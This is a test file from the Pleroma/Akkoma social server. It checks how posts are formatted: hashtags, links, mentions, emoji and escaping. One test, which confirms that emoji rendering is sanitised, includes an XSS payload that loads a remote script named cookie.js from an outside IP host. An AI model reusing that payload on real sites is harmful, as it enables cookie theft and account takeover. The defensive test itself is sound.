git.squeep.com Git - akkoma/blob - test/formatter_test.exs

   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.FormatterTest do
   6   alias Pleroma.Formatter
   7   alias Pleroma.User
   8   use Pleroma.DataCase
   9
  10   import Pleroma.Factory
  11
  12   setup_all do
  13     Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  14     :ok
  15   end
  16
  17   describe ".add_hashtag_links" do
  18     test "turns hashtags into links" do
  19       text = "I love #cofe and #2hu"
  20
  21       expected_text =
  22         "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  23
  24       tags = Formatter.parse_tags(text)
  25
  26       assert expected_text ==
  27                Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  28     end
  29
  30     test "does not turn html characters to tags" do
  31       text = "Fact #3: pleroma does what mastodon't"
  32
  33       expected_text =
  34         "Fact <a data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
  35
  36       tags = Formatter.parse_tags(text)
  37
  38       assert expected_text ==
  39                Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  40     end
  41   end
  42
  43   describe ".add_links" do
  44     test "turning urls into links" do
  45       text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  46
  47       expected =
  48         "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  49
  50       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  51
  52       text = "https://mastodon.social/@lambadalambda"
  53
  54       expected =
  55         "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  56
  57       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  58
  59       text = "https://mastodon.social:4000/@lambadalambda"
  60
  61       expected =
  62         "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  63
  64       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  65
  66       text = "@lambadalambda"
  67       expected = "@lambadalambda"
  68
  69       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  70
  71       text = "http://www.cs.vu.nl/~ast/intel/"
  72       expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  73
  74       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  75
  76       text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  77
  78       expected =
  79         "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  80
  81       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  82
  83       text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  84
  85       expected =
  86         "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  87
  88       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  89
  90       text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  91
  92       expected =
  93         "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  94
  95       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  96
  97       text = "https://en.wikipedia.org/wiki/Duff's_device"
  98
  99       expected =
 100         "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
 101
 102       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 103
 104       text = "https://pleroma.com https://pleroma.com/sucks"
 105
 106       expected =
 107         "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
 108
 109       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 110
 111       text = "xmpp:contact@hacktivis.me"
 112
 113       expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
 114
 115       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 116
 117       text =
 118         "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
 119
 120       expected = "<a href=\"#{text}\">#{text}</a>"
 121
 122       assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
 123     end
 124   end
 125
 126   describe "add_user_links" do
 127     test "gives a replacement for user links" do
 128       text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
 129       gsimg = insert(:user, %{nickname: "gsimg"})
 130
 131       archaeme =
 132         insert(:user, %{
 133           nickname: "archa_eme_",
 134           info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
 135         })
 136
 137       archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 138
 139       mentions = Pleroma.Formatter.parse_mentions(text)
 140
 141       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 142
 143       assert length(subs) == 3
 144       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 145
 146       expected_text =
 147         "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
 148           archaeme.id
 149         }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
 150           archaeme_remote.id
 151         }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
 152
 153       assert expected_text == Formatter.finalize({subs, text})
 154     end
 155
 156     test "gives a replacement for user links when the user is using Osada" do
 157       mike = User.get_or_fetch("mike@osada.macgirvin.com")
 158
 159       text = "@mike@osada.macgirvin.com test"
 160
 161       mentions = Formatter.parse_mentions(text)
 162
 163       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 164
 165       assert length(subs) == 1
 166       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 167
 168       expected_text =
 169         "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
 170
 171       assert expected_text == Formatter.finalize({subs, text})
 172     end
 173
 174     test "gives a replacement for single-character local nicknames" do
 175       text = "@o hi"
 176       o = insert(:user, %{nickname: "o"})
 177
 178       mentions = Formatter.parse_mentions(text)
 179
 180       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 181
 182       assert length(subs) == 1
 183       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 184
 185       expected_text =
 186         "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
 187
 188       assert expected_text == Formatter.finalize({subs, text})
 189     end
 190
 191     test "does not give a replacement for single-character local nicknames who don't exist" do
 192       text = "@a hi"
 193
 194       mentions = Formatter.parse_mentions(text)
 195
 196       {subs, text} = Formatter.add_user_links({[], text}, mentions)
 197
 198       assert length(subs) == 0
 199       Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
 200
 201       expected_text = "@a hi"
 202       assert expected_text == Formatter.finalize({subs, text})
 203     end
 204   end
 205
 206   describe ".parse_tags" do
 207     test "parses tags in the text" do
 208       text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"
 209
 210       expected = [
 211         {"#Test", "test"},
 212         {"#working", "working"},
 213         {"#漢字", "漢字"},
 214         {"#は", "は"}
 215       ]
 216
 217       assert Formatter.parse_tags(text) == expected
 218     end
 219   end
 220
 221   test "it can parse mentions and return the relevant users" do
 222     text =
 223       "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
 224
 225     o = insert(:user, %{nickname: "o"})
 226     jimm = insert(:user, %{nickname: "jimm"})
 227     gsimg = insert(:user, %{nickname: "gsimg"})
 228     archaeme = insert(:user, %{nickname: "archaeme"})
 229     archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 230
 231     expected_result = [
 232       {"@gsimg", gsimg},
 233       {"@archaeme", archaeme},
 234       {"@archaeme@archae.me", archaeme_remote},
 235       {"@o", o},
 236       {"@jimm", jimm}
 237     ]
 238
 239     assert Formatter.parse_mentions(text) == expected_result
 240   end
 241
 242   test "it adds cool emoji" do
 243     text = "I love :moominmamma:"
 244
 245     expected_result =
 246       "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
 247
 248     assert Formatter.emojify(text) == expected_result
 249   end
 250
 251   test "it does not add XSS emoji" do
 252     text =
 253       "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
 254
 255     custom_emoji = %{
 256       "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
 257         "https://placehold.it/1x1"
 258     }
 259
 260     expected_result =
 261       "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
 262
 263     assert Formatter.emojify(text, custom_emoji) == expected_result
 264   end
 265
 266   test "it returns the emoji used in the text" do
 267     text = "I love :moominmamma:"
 268
 269     assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
 270   end
 271
 272   test "it returns a nice empty result when no emojis are present" do
 273     text = "I love moominamma"
 274     assert Formatter.get_emoji(text) == []
 275   end
 276
 277   test "it doesn't die when text is absent" do
 278     text = nil
 279     assert Formatter.get_emoji(text) == []
 280   end
 281
 282   describe "/mentions_escape" do
 283     test "it returns text with escaped mention names" do
 284       text = """
 285       @a_breakin_glass@cybre.space
 286       (also, little voice inside my head thinking "maybe this will encourage people
 287       pronouncing it properly instead of saying _raKEWdo_ ")
 288       """
 289
 290       escape_text = """
 291       @a\\_breakin\\_glass@cybre\\.space
 292       (also, little voice inside my head thinking \"maybe this will encourage people
 293       pronouncing it properly instead of saying _raKEWdo_ \")
 294       """
 295
 296       mentions = [{"@a_breakin_glass@cybre.space", %{}}]
 297       assert Formatter.mentions_escape(text, mentions) == escape_text
 298     end
 299   end
 300 end